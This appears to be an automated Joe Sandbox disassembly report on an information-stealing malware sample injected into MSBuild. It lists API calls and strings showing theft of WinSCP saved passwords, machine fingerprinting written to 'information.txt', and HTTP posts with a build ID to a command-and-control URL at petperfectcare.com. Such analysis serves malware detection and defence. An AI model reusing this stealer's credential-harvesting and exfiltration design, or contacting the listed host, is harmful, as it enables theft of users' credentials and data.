Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memset$Value$CloseOpen$Enum
String ID: Login: $:22$Host: $HostName$Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 463713726-2798830873
Opcode ID: 4eaab8354fff006c774e5a3a11a8fc4062ced311967a4d7608afb3132e7bbd75
Instruction ID: ab712d79911a6534e16ca2c8d51643d97c9570b95301d2e418567ee179d90524
Opcode Fuzzy Hash: 4eaab8354fff006c774e5a3a11a8fc4062ced311967a4d7608afb3132e7bbd75
Instruction Fuzzy Hash: 56D1D6B195012DAADF21EB91DC42BD9B778AF04308F5018EBA508B3151DA747FC9CFA5

Function 00405F39 Relevance: 53.0, APIs: 20, Strings: 10, Instructions: 466
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
StrCmpCA.SHLWAPI(?), ref: 00405FF6
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
lstrlenA.KERNEL32(?,",mode,004378D8,------,004378CC,e694b6d50199ea44207a97e25dda5506,",build_id,004378B4,------,004378A8,",0043789C,------), ref: 004065FD
lstrlenA.KERNEL32(?), ref: 0040660C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00406617
HeapAlloc.KERNEL32(00000000), ref: 0040661E
lstrlenA.KERNEL32(?), ref: 0040662B
_memmove.LIBCMT ref: 00406639
lstrlenA.KERNEL32(?), ref: 00406647
lstrlenA.KERNEL32(?,?,00000000), ref: 00406655
_memmove.LIBCMT ref: 00406662
lstrlenA.KERNEL32(?,?,00000000), ref: 00406677
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00406685
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 004066E2
InternetCloseHandle.WININET(00000000), ref: 004066ED
InternetCloseHandle.WININET(?), ref: 004066F9
InternetCloseHandle.WININET(?), ref: 00406705
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

", xrefs: 004062E5
------, xrefs: 00406080
------, xrefs: 004064C9
", xrefs: 004065A1
------, xrefs: 00406206
------, xrefs: 00406367
build_id, xrefs: 00406419
", xrefs: 00406445
mode, xrefs: 00406575
e694b6d50199ea44207a97e25dda5506, xrefs: 00406471

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$------$------$------$------$build_id$e694b6d50199ea44207a97e25dda5506$mode
API String ID: 3702379033-2882055158
Opcode ID: 9130669875251964c831f1a88f491c766dae42b48f3d6367ba80e634a4db9760
Instruction ID: 761880eafc7f1130453e9609930188909abd0ac3e1dc834df3bf91bb01064538
Opcode Fuzzy Hash: 9130669875251964c831f1a88f491c766dae42b48f3d6367ba80e634a4db9760
Instruction Fuzzy Hash: 9E22C9719401699BCF21EB62CD46BCCB7B5AF04308F4144E7A60DB3151DAB56FCA8FA8

Function 00418753 Relevance: 48.2, APIs: 32, Instructions: 154
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00418794
GetProcAddress.KERNEL32 ref: 004187AB
GetProcAddress.KERNEL32 ref: 004187C2
GetProcAddress.KERNEL32 ref: 004187D9
GetProcAddress.KERNEL32 ref: 004187F0
GetProcAddress.KERNEL32 ref: 00418807
GetProcAddress.KERNEL32 ref: 0041881E
GetProcAddress.KERNEL32 ref: 00418835
GetProcAddress.KERNEL32 ref: 0041884C
GetProcAddress.KERNEL32 ref: 00418863
GetProcAddress.KERNEL32 ref: 0041887A
GetProcAddress.KERNEL32 ref: 00418891
GetProcAddress.KERNEL32 ref: 004188A8
GetProcAddress.KERNEL32 ref: 004188BF
GetProcAddress.KERNEL32 ref: 004188D6
GetProcAddress.KERNEL32 ref: 004188ED
GetProcAddress.KERNEL32 ref: 00418904
GetProcAddress.KERNEL32 ref: 0041891B
GetProcAddress.KERNEL32 ref: 00418932
GetProcAddress.KERNEL32 ref: 00418949
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041895A
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041896B
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041897C
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041898D
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041899E
GetProcAddress.KERNEL32(75A70000,004185D2), ref: 004189BA
GetProcAddress.KERNEL32(75290000,004185D2), ref: 004189D5
GetProcAddress.KERNEL32 ref: 004189EC
GetProcAddress.KERNEL32(75BD0000,004185D2), ref: 00418A07
GetProcAddress.KERNEL32(75450000,004185D2), ref: 00418A22
GetProcAddress.KERNEL32(76E90000,004185D2), ref: 00418A3D
GetProcAddress.KERNEL32 ref: 00418A54

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 98b88b5f96dc66c065c06141136ba5df242bfcb15761572c331c610d89b40f79
Instruction ID: 199c42d56f0628ccab12840d69b6f02f13cfb0cf7a8249375453f6caf445ef8e
Opcode Fuzzy Hash: 98b88b5f96dc66c065c06141136ba5df242bfcb15761572c331c610d89b40f79
Instruction Fuzzy Hash: 2B7106B5910312AFEF1ADF60FD488243BA7F70874BF11A426E91582270EB374A64EF55

Function 00413B86 Relevance: 47.9, APIs: 2, Strings: 25, Instructions: 674
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410CC0: GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,004365B6,?,?,?), ref: 00410CD8
Part of subcall function 00410CC0: RtlAllocateHeap.NTDLL(00000000), ref: 00410CDF
Part of subcall function 00410CC0: GetLocalTime.KERNEL32(?), ref: 00410CEB
Part of subcall function 00410CC0: wsprintfA.USER32 ref: 00410D16

Part of subcall function 004115D4: _memset.LIBCMT ref: 00411607
Part of subcall function 004115D4: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
Part of subcall function 004115D4: RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
Part of subcall function 004115D4: RegCloseKey.ADVAPI32(?,?,?,?), ref: 00411657
Part of subcall function 004115D4: CharToOemA.USER32(?,?), ref: 0041166B

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 004109A2: GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
Part of subcall function 004109A2: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
Part of subcall function 004109A2: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
Part of subcall function 004109A2: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71

GetCurrentProcessId.KERNEL32(Path: ,0043687C,HWID: ,00436870,GUID: ,00436864,00000000,MachineID: ,00436854,00000000,Date: ,00436848,00436844,004379AC,Version: ,004365B6), ref: 00413DDB

Part of subcall function 0041224A: OpenProcess.KERNEL32(00000410,00000000,=A,00000000,?), ref: 0041226C
Part of subcall function 0041224A: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
Part of subcall function 0041224A: CloseHandle.KERNEL32(00000000), ref: 0041228E

Part of subcall function 00410B30: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B44
Part of subcall function 00410B30: HeapAlloc.KERNEL32(00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B4B

Part of subcall function 00411807: __EH_prolog3_catch_GS.LIBCMT ref: 0041180E
Part of subcall function 00411807: CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EF9,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 0041181F
Part of subcall function 00411807: CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
Part of subcall function 00411807: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
Part of subcall function 00411807: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
Part of subcall function 00411807: VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411997: __EH_prolog3_catch.LIBCMT ref: 0041199E
Part of subcall function 00411997: CoInitializeEx.OLE32(00000000,00000000,00000030,00413F67,?,AV: ,004368C4,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 004119AD
Part of subcall function 00411997: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
Part of subcall function 00411997: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
Part of subcall function 00411997: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
Part of subcall function 00411997: VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: HeapAlloc.KERNEL32(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: RtlAllocateHeap.NTDLL(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00411563: CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 00411575
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,00000008), ref: 00411580
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,0000000A), ref: 0041158B
Part of subcall function 00411563: ReleaseDC.USER32(00000000,00000000), ref: 00411596
Part of subcall function 00411563: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4), ref: 004115A2
Part of subcall function 00411563: HeapAlloc.KERNEL32(00000000,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 004115A9
Part of subcall function 00411563: wsprintfA.USER32 ref: 004115BB

Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000,0043670D,?,?), ref: 00410E0C
Part of subcall function 00410DDB: LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
Part of subcall function 00410DDB: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57
Part of subcall function 00410DDB: LocalFree.KERNEL32(00000000), ref: 00410EFF

Part of subcall function 00410D2E: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
Part of subcall function 00410D2E: HeapAlloc.KERNEL32(00000000), ref: 00410D50
Part of subcall function 00410D2E: GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
Part of subcall function 00410D2E: wsprintfA.USER32 ref: 00410D7D

Part of subcall function 00410F51: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C), ref: 00410F65
Part of subcall function 00410F51: HeapAlloc.KERNEL32(00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410F6C
Part of subcall function 00410F51: RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ), ref: 00410F8A
Part of subcall function 00410F51: RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000), ref: 00410FA6
Part of subcall function 00410F51: RegCloseKey.ADVAPI32(00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410FAF

Part of subcall function 00411007: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,?), ref: 0041107D
Part of subcall function 00411007: wsprintfA.USER32 ref: 004110DB

Part of subcall function 00410FBA: GetSystemInfo.KERNEL32(?), ref: 00410FD4
Part of subcall function 00410FBA: wsprintfA.USER32 ref: 00410FEC

Part of subcall function 00411119: GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 00411131
Part of subcall function 00411119: HeapAlloc.KERNEL32(00000000), ref: 00411138
Part of subcall function 00411119: GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
Part of subcall function 00411119: wsprintfA.USER32 ref: 0041117A

Part of subcall function 00411192: EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 004111E9

Part of subcall function 004114A5: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00436712,?,?), ref: 004114D4
Part of subcall function 004114A5: Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Part of subcall function 004114A5: Process32Next.KERNEL32(00000000,00000128), ref: 00411542
Part of subcall function 004114A5: CloseHandle.KERNEL32(00000000), ref: 0041154D

Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670F,00000000,?,?), ref: 00411273
Part of subcall function 00411203: RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
Part of subcall function 00411203: wsprintfA.USER32 ref: 004112DD
Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
Part of subcall function 00411203: lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E8C), ref: 004113DC
Part of subcall function 00411203: RegCloseKey.ADVAPI32(?), ref: 00411446
Part of subcall function 00411203: RegCloseKey.ADVAPI32(?), ref: 00411472

lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000), ref: 00414563

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Strings

Windows: , xrefs: 00413E70
Local Time: , xrefs: 0041414B
AV: , xrefs: 00413F3E
[Software], xrefs: 004144A3
Cores: , xrefs: 0041428E
GUID: , xrefs: 00413CE1
Computer Name: , xrefs: 00413FAD
Version: , xrefs: 00413B9F
Display Resolution: , xrefs: 0041406F
Path: , xrefs: 00413DBB
TimeZone: , xrefs: 004141AC
Work Dir: In memory, xrefs: 00413E30
MachineID: , xrefs: 00413C80
HWID: , xrefs: 00413D4E
Processor: , xrefs: 0041422D
VideoCard: , xrefs: 004143B7
Install Date: , xrefs: 00413ED1
information.txt, xrefs: 00414573
[Hardware], xrefs: 0041420D
Date: , xrefs: 00413C1F
[Processes], xrefs: 0041442A
RAM: , xrefs: 00414350
User Name: , xrefs: 0041400E
Keyboard Languages: , xrefs: 004140DE
Threads: , xrefs: 004142EF

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$wsprintf$Close$CreateOpen$InitializeQueryValuelstrcatlstrcpy$InformationLocalNamelstrlen$AllocateBlanketCapsCurrentDeviceEnumHandleInfoInitInstanceKeyboardLayoutListProcess32ProxySecurityTimeVariant_memset$CharComputerDevicesDirectoryDisplayFileFirstFreeGlobalH_prolog3_catchH_prolog3_catch_LocaleLogicalMemoryModuleNextObjectProcessorProfileReleaseSingleSnapshotStatusSystemThreadToolhelp32UserVolumeWaitWindowsZone
String ID: AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $Threads: $TimeZone: $User Name: $Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 2469716241-1014693891
Opcode ID: dc1d7ba0562bf625b066ad92f5a1664cb0e26c57856b77b7a26f3dbe5b97f54e
Instruction ID: 8a42f407c24202d7a6dd8fa6120b12fd45f2decad8a8e81766ce9a60c8fe54d8
Opcode Fuzzy Hash: dc1d7ba0562bf625b066ad92f5a1664cb0e26c57856b77b7a26f3dbe5b97f54e
Instruction Fuzzy Hash: EB527D71D4001EAACF01FBA2DD429DDB7B5AF04308F51456BB610771A1DBB87E8E8B98

Function 004169B6 Relevance: 45.8, APIs: 9, Strings: 17, Instructions: 315
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 0041683E: StrCmpCA.SHLWAPI(?,ERROR), ref: 00416873

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416AC2

Part of subcall function 004168C6: StrCmpCA.SHLWAPI(?,ERROR), ref: 0041691A
Part of subcall function 004168C6: lstrlenA.KERNEL32(?), ref: 00416925
Part of subcall function 004168C6: StrStrA.SHLWAPI(00000000,?), ref: 0041693A
Part of subcall function 004168C6: lstrlenA.KERNEL32(?), ref: 00416949
Part of subcall function 004168C6: lstrlenA.KERNEL32(00000000), ref: 00416962

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B1F
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B78
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416BD8
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416C31
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416C47
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416CA7
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416D00
Sleep.KERNEL32(0000EA60), ref: 00416D0F

Strings

ERROR, xrefs: 00416BD0
http://lade.petperfectcare.com:80, xrefs: 00416A54
ERROR, xrefs: 00416C29
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416D25
ERROR, xrefs: 00416ABA
sqlp.dll, xrefs: 00416DAC
ERROR, xrefs: 00416B17
ERROR, xrefs: 00416B70
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416DBE
ERROR, xrefs: 00416CF8
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416D8D
>wA, xrefs: 00416E2D
sql.dll, xrefs: 00416E0E
sqlp.dll, xrefs: 00416DDD
sqlp.dll, xrefs: 00416D44
ERROR, xrefs: 00416C9F
ERROR, xrefs: 00416C3F

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: >wA$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$http://lade.petperfectcare.com:80$sql.dll$sqlp.dll$sqlp.dll$sqlp.dll
API String ID: 507064821-3052648669
Opcode ID: d6a0b5c5444a4ccf3efbfa7656036f48e37d140efc54fa1caf20e42d6c103a14
Instruction ID: c90f6ea4a5ca348140cab4ba7e9dbaa9ca4af95923ca0130c421cdf06f76cfec
Opcode Fuzzy Hash: d6a0b5c5444a4ccf3efbfa7656036f48e37d140efc54fa1caf20e42d6c103a14
Instruction Fuzzy Hash: 0FC15C31E40118ABCF10FB66DD47ACCB775AF04308F51406BF815B7192DBB8AE898B99

Function 0040884C Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 405
memoryfilestringCOMMON

